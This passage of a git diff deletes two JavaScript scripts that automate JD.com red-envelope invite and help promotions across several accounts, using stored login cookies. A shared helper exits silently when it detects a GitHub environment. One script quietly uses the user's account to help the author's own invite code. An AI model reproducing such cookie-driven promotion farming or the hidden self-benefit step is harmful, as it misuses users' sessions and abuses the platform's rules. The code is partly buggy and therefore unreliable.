n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_fc.js b/backUp/jd_fc.js deleted file mode 100644 index 3902766..0000000 --- a/backUp/jd_fc.js +++ /dev/null @@ -1,213 +0,0 @@ -/* - - 0,2 0 * * * jd_fc.js, tag=柠檬发财大赢家, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true -*/ - - -const $ = new Env('柠檬发财大赢家获取邀请码'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let redEnvelopeId = ''; -let inviter = ''; - -if (process.env.redEnvelopeId) { - redEnvelopeId = process.env.redEnvelopeId; -} - -if (process.env.inviter) { - inviter = process.env.inviter; -} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - //await zhuli() - // await list() - await info() - - - - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -function info() { - return new Promise(async (resolve) => { - - let options = { - url: `https://api.m.jd.com/?functionId=redEnvelopeInteractHome&body={"linkId":"yMVR-_QKRd2Mq27xguJG-w"}&t=1626358531348&appid=activities_platform&clientVersion=3.5.6`, - - -headers: { -"Origin": "https://618redpacket.jd.com", -"Host": "api.m.jd.com", - "User-Agent": "User-Agent: Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1", - "Cookie": cookie, - } - } - - $.get(options, async (err, resp, data) => { - try { - - data = JSON.parse(data); - - - - if(data.code == 0){ - - console.log(`export redEnvelopeId="${data.data.redEnvelopeId}"\nexport inviter="${data.data.markedPin}"`) - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - - - - - - - - - - - - - - - - - - -async function taskPostUrl(functionId,body) { - return { - url: `${JD_API_HOST}`, - body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} - - -async function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data["retcode"] === 13) { - $.isLogin = false; //cookie过期 - return; - } - if (data["retcode"] === 0) { - $.nickName = (data["base"] && data["base"].nickname) || $.UserName; - } else { - $.nickName = $.UserName; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fcdyj.js b/backUp/jd_fcdyj.js deleted file mode 100644 index 8404e54..0000000 --- a/backUp/jd_fcdyj.js +++ /dev/null @@ -1,317 +0,0 @@ -/* -活动入口: 京东极速版-我的-发财大赢家 -https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js -已支持IOS双京东账号, Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js -============Quantumultx=============== -[task_local] -#发财大赢家 -1 0 * 6 * https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, tag=新潮品牌狂欢, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "1 0 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js tag=翻翻乐 - -===============Surge================= -发财大赢家 = type=cron,cronexp="1 0 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js - -============小火箭========= -发财大赢家 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/master/jd/jd_fcdyj.js, cronexpr="1 0 * * *", timeout=3600, enable=true - - */ -const $ = new Env('发财大赢家'); -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const openred = $.isNode() ? (process.env.openred ? process.env.openred : 1) : 1 //选择哪个号开包 -const dyjCode = $.isNode() ? (process.env.dyjCode ? process.env.dyjCode : null) : null //选择哪个号开包 -const randomCount = $.isNode() ? 20 : 5; -const notify = $.isNode() ? require('./sendNotify') : ''; -let merge = {} -//let code = -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = `https://api.m.jd.com`; - - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - console.log("默认为号1开包/助力,号1为作者助力") - message = '' - $.helptype = 1 - $.needhelp = true - $.canDraw = false - $.canHelp = true; - $.linkid = "yMVR-_QKRd2Mq27xguJG-w" - //开包 查询 - for (let i = openred-1; i < openred; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.index = i + 1; - console.log(`\n******查询【京东账号${$.index}】红包情况\n`); - await getauthorid() - if (!dyjCode) { - console.log(`环境变量中没有检测到助力码,开始获取 账号${openred} 助力码`) - await open() - await getid() - } else { - dyjStr = dyjCode.split("@") - if (dyjStr[0]) { - $.rid = dyjDtr[0] - $.inviter = dyjStr[1] - } - } - await help($.authorid, $.authorinviter, 1, true) //用你开包的号给我助力一次 - } - } - - for (let i = 0; i < cookiesArr.length && $.needhelp; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.message = `【京东账号${$.index}】${$.UserName}\n` - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - } - if ($.rid && $.inviter && $.needhelp) { - await help($.rid, $.inviter, $.helptype) - } else { - console.log("没获取到助力码,停止运行") - } - } - for (let i = openred-1; i < openred; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.index = i + 1; - console.log(`\n******查询【京东账号${$.index}】红包情况\n`); - await getid() - if ($.canDraw) { - console.log("检测到已可兑换") - await Draw() - // i = 999 - } - } - } - //if($.type == 2){ - //for (let i = 0 ; i { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - - -function Draw() { - return new Promise(async (resolve) => { - let options = taskUrl("exchange", `{"linkId":"${$.linkid }","rewardType":1}`) - // console.log(options) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - // console.log(data) - data = JSON.parse(data); - console.log(" 兑换结果:" + data.errMsg) - // $.drawresult = "提现结果:" + data.data.message + "\n" - - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function getid() { - return new Promise(async (resolve) => { - let options = taskUrl("redEnvelopeInteractHome", `{"linkId":"${$.linkid}","redEnvelopeId":"","inviter":"","helpType":""}`) - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - console.log(data.data.state) - if (data.success && data.data) { - if (data.data.state === 3) { - console.log("今日已成功兑换") - $.needhelp = false - } else { - if (data.data.state === 6) { - $.needhelp = false - $.canDraw = false - } - console.log(`获取成功redEnvelopeId: ${data.data.redEnvelopeId} \n markPin:${data.data.markedPin}`) - $.rid = data.data.redEnvelopeId - $.inviter = data.data.markedPin - } - console.log(`当前余额:${data.data.amount} 还需 ${data.data.needAmount} `) - } else { - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function help(rid, inviter, type, helpother) { - return new 